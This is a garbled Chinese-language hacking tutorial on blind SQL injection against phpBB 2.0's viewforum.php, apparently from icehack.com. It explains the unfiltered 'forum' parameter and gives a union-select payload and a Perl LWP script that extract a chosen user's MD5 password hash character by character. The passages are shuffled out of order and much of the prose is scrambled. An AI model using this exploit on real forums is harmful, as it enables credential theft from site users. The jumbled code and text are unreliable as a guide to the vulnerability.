php注入实例

session_logged_in)
VALUES (‘$session_id’, $user_id, $current_time, $current_time,
‘$user_ip’, $page_id, $login)”;
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, ‘Error creating new session :
session_begin’, ”, __LINE__, __FILE__,

最首要正是打星号的那一行了,这里是三个函数session_pagestart($user_ip,
$thispage_id),那是在session.php中定义的一个函数,由于代码太

//
// Start session management
//
$userdata = session_pagestart($user_ip, $forum_id)
/****************************************

在这里有个session_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,要是插入的不是整形就能够报错了,就能够合世Error

creating new session :
session_begin的提醒,所以要指这$forum_id的值很入眼,所以作者把它钦定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,未有引号吧!纵然钦点的是三个不设有的forum_id但她赶回的查询结果可不鲜明是为空,这几个正是猜user_id为2的用户的首先位密码的ascii码值是是还是不是为57,借使是的话小说中率先段代码中的$result可不为空了,于是就实践了ession_pagestart那几个有题指标函数,插入的不是整数当然将要出错了,于是就彰显Error
creating new session :
session_begin,就标记你猜对了第壹位了,其余位类似.

一经是asp的话,相信广大人都会注入了.就算那么些forum_id内定的论坛不真实的话,就能够使$result为空,于是回到Could
not obtain forums information的新闻,于是下边包车型大巴代码就不能举行下去了
//
// If the query doesn’t return any rows this isn’t a valid forum.
Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, ‘Forum_not_exist’);
}

print ” ***********************n”;
print ” phpbb viewforum.php expn”;
print ” code by pinkeyesn”;
print ” www.icehack.comn”;
print ” ************************n”;
print “please enter the weak file’s url:n”;
print “e.g. “;
$adr=<STDIN>;
chomp($adr);
print “please enter the user_id that you want to crackn”;
$u=<STDIN>;
chomp($u);
print “work starting,please wait!n”;
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$j<=32;$j++){
for ($i=0;$i<@pink;$i++){
$url=$adr.”?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%

$page_id, session_logged_in = $login
WHERE session_id = ‘” . $session_id . “‘
AND session_ip = ‘$user_ip'”;
if ( !($result = $db->sql_query($sql)) ││
!$db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;

20user_id=$u%20and%20ord(substring(user_password,$j,1))=$pink[$i]”;
$request = HTTP::Request->new(‘GET’, “$url”);
$response = $ua->request($request);

若是未有那句出错信息的话作者想尽管注入成功也很难判断是还是不是早就打响,看来出错新闻也很有救助啊.深入分析就到这边,上面附上一段测验代码,这段代码只要稍加修改就能够适用于任何类似的猜md5密码的地方,这里小编用的英语版的归来条件,中文和别的语言的要是改一下回去条件就行了.

关于近期的phpbb2.0.6的search.php的标题选取程序一旦将下面代码稍加修改就行了,如要错误请上www.icehack.com指正.

}
}
}
if ($pwd ne “”){
print “successfully,The password is $pwd,good luckn”;}
else{
print “bad luck,work failed!n”;}

长,就不全贴出来了,风野趣的可以自已看看,关键是其一函数还调用了session_begin(),函数调用如下session_begin($user_id,
$user_ip,

$thispage_id, TRUE)),一样是在那么些文件中定义的,在那之中有如下代码
$sql = “UPDATE ” . SESSIONS_TABLE . “
SET session_user_id = $user_id, session_start = $current_time,
session_time = $current_time, session_page =

$sql = “INSERT INTO ” . SESSIONS_TABLE . “
(session_id, session_user_id, session_start, session_time,
session_ip, session_page,

if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink[$i]);
print “$pwdn”;
}

($HTTP_POST_VARS<pOST_FORUM_URL]);
}
else if ( isset($HTTP_GET_VARS[‘forum’]))
{
$forum_id = $HTTP_GET_VARS[‘forum’];
}
else
{
$forum_id = ”;
}
就是其一forum,而上面直接把它放进了查询中:
if ( !empty($forum_id) )
{
$sql = “SELECT *
FROM ” . FORUMS_TABLE . “
WHERE forum_id = $forum_id”;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, ‘Could not obtain forums information’, ”,
__LINE__, __FILE__, $sql);
}
}
else
{
message_die(GENERAL_MESSAGE, ‘Forum_not_exist’);
}

php注入实例
在网络很丢脸到一篇完整的有关php注入的篇章和接纳代码,于是自个儿自已把mysql和php硬啃了多少个礼拜,下面说说本身的休会吧,希望能一得之见!
相信大家对asp的注入已经是特别耳闻则诵了,而对php的流入比asp要艰巨,因为php的magic_gpc选项确实令人高烧,在注入中并不是出现引号,而php繁多和mysql结合,而mysql的效果上的老毛病,从其他一位角度看确在大势所趋程度上严防了sql
njection的口诛笔伐,笔者在这里就举三个实例吧,作者以phpbb2.0为例:
在viewforum.php中有二个变量没过滤:
if ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ││
isset($HTTP_POST_VARS<pOST_FORUM_URL]) )
{
$forum_id = ( isset($HTTP_GET_VARS<pOST_FORUM_URL]) ) ?
intval($HTTP_GET_VARS<pOST_FORUM_URL]): intval

$sql);
}

相关文章